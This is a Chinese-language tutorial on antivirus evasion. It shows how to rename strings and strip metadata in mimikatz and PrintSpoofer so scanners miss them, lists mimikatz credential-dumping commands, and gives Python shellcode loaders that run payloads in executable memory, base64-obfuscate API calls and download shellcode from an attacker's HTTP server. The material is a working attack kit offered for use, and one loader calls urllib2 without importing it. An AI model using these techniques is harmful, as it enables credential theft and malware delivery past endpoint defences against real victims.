mimikatz免杀
mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证。
在github上下载mimikatz GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security
解压缩,打开
默认生成不成功,要改配置属性
右击解决方案资源管理器,点击属性
更改平台,选择自己的vs平台
3. C++常规,将警告视为错误设置为否
可能缺少MFS库,自己安装一下
生成
默认生成32位,改成64位
右击解决方案,打开属性页,改为64位,再生成一下
找到位置,即可获得exe文件
开始免杀
- 替换关键字,将mimikatz替换成yang(这个随意)
在程序没有运行的情况下,一般都是通过特征码判断的。而且Mimikatz这些知名工具的内容像mimikatz、作者信息之类的字符串就很容易被做为特征码识别。
通用阅读源码大体可以了解存在比较明显的关键字:mimikatz、MIMIKATZ以及mimikatz/mimikatz/pleasesubscribe.rc文件的一些内容。可以利用Visual Studio的替换功能实现关键字的处理。
删除注释信息,这也将是特征码判断的标准
修改ico图标
删除敏感信息:
在空白处右键新增版本信息:
成功以后,测试下功能:
privilege::debug 提取权限
sekurlsa::logonpasswords 抓取密码
sekurlsa::msv 提取ntlm hash凭证。
sekurlsa::wdigest 提取用户密码明文。
sekurlsa::kerberos 提取域账户凭证。

PrintSpoofer免杀
下载PrintSpoofer:GitHub - whojeff/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 本地提权2012-2019
可以直接编译成功
免杀思路(和mimikatz差不多)
1、将PrintSpoofer.cpp 里面的输出帮助文档全部清空

2、将项目中搜索PrintSpoofer替换为其他内容,这里改成yang。
3、然后将PrintSpoofer.cpp PrintSpoofer.h 全改为其他名字 这里改成yang
4、添加ico图标即可。
Python3CSshellcode免杀
什么是shellcode
在黑客攻击中,shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。
什么是shellcode loader
shellcode loader 是用于加载和运行shellcode的代码。
生成木马
生成木马,选择python,然后生成payload.py。将其下载到本机进行下一步免杀
方法一
import ctypes
#shellcode加载
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__":
shellCodeLoad(bytearray(b'shellcode'))
shellcode里填充你的payload.py的代码
方法二
有的时候会对这一句查杀ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
,可以用到base64编码对其进行加密,以减少特征码
import ctypes
import base64
#shellcode加载
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__":
shellCodeLoad(bytearray(b'shellcode'))
方法三
另辟蹊径,直接去网上读文件。需要黑客开启http服务。
import ctypes
import base64
#shellcode加载
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLCBjdHlwZXMuY19pbnQoLTEpKQ=="))
if __name__ == "__main__":
req=urllib2.urlopen('IP/xxx.txt').read() # 去黑客主机读payload文件
shellCodeLoad(bytearray(req))